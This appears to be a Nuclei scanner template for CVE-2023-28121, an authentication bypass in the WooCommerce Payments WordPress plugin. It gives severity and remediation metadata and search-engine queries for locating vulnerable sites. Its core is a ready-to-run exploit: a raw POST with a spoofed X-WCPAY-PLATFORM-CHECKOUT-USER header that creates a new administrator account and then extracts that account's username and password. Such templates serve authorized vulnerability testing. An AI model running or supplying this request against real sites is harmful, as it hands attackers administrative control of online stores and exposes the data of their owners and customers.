WooCommerce Payments - Unauthorized Admin Access

id: CVE-2023-28121

info:
  name: WooCommerce Payments - Unauthorized Admin Access
  author: DhiyaneshDK
  severity: critical
  description: |
    An issue in WooCommerce Payments plugin for WordPress (versions 5.6.1 and lower) allows an unauthenticated attacker to send requests on behalf of an elevated user, like administrator. This allows a remote, unauthenticated attacker to gain admin access on a site that has the affected version of the plugin activated.
  impact: |
    An attacker can gain unauthorized access to the WooCommerce Payments admin panel, potentially leading to data theft or modification.
  remediation: |
    Update to the latest version of the WooCommerce Payments plugin to fix the vulnerability.
  reference:
    - https://github.com/gbrsh/CVE-2023-28121
    - https://nvd.nist.gov/vuln/detail/CVE-2023-28121
    - https://www.rcesecurity.com/2023/07/patch-diffing-cve-2023-28121-to-compromise-a-woocommerce/
    - https://woocommerce.com/products/woocommerce-payments/
    - https://developer.woocommerce.com/2023/03/23/critical-vulnerability-detected-in-woocommerce-payments-what-you-need-to-know/
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2023-28121
    cwe-id: CWE-287
    epss-score: 0.86919
    epss-percentile: 0.99723
    cpe: cpe:2.3:a:automattic:woocommerce_payments:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: automattic
    product: woocommerce_payments
    framework: wordpress
    shodan-query: http.html:/wp-content/plugins/woocommerce-payments
    fofa-query: body=/wp-content/plugins/woocommerce-payments
    publicwww-query: /wp-content/plugins/woocommerce-payments
    google-query: inurl:/wp-content/plugins/woocommerce-payments
  tags: cve2023,cve,wordpress,wp,wp-plugin,auth-bypass,intrusive,automattic,vkev,vuln
variables:
  username: "{{rand_base(6)}}"
  password: "{{rand_base(8)}}"
  email: "{{randstr}}@{{rand_base(5)}}.com"

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        X-WCPAY-PLATFORM-CHECKOUT-USER: 1
        Content-Type: application/x-www-form-urlencoded

        rest_route=%2Fwp%2Fv2%2Fusers&username={{username}}&email={{email}}&password={{password}}&roles=administrator

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - '"registered_date":'
          - '"username":'
          - '"email":'
        condition: and

      - type: word
        part: header
        words:
          - application/json

      - type: status
        status:
          - 201

    extractors:
      - type: dsl
        dsl:
          - '"WP_USERNAME: "+ username'
          - '"WP_PASSWORD: "+ password'
# digest: 4a0a0047304502205b2d807f44002d1552d801b68ef1580a5bc00240c36ce5e68715b17da7d76115022100dfb036e68227c079c96c50d7b16259cd1f21b5592fd2bada5d7a2595456862a1:922c64590222798bb761d5b6d8e72950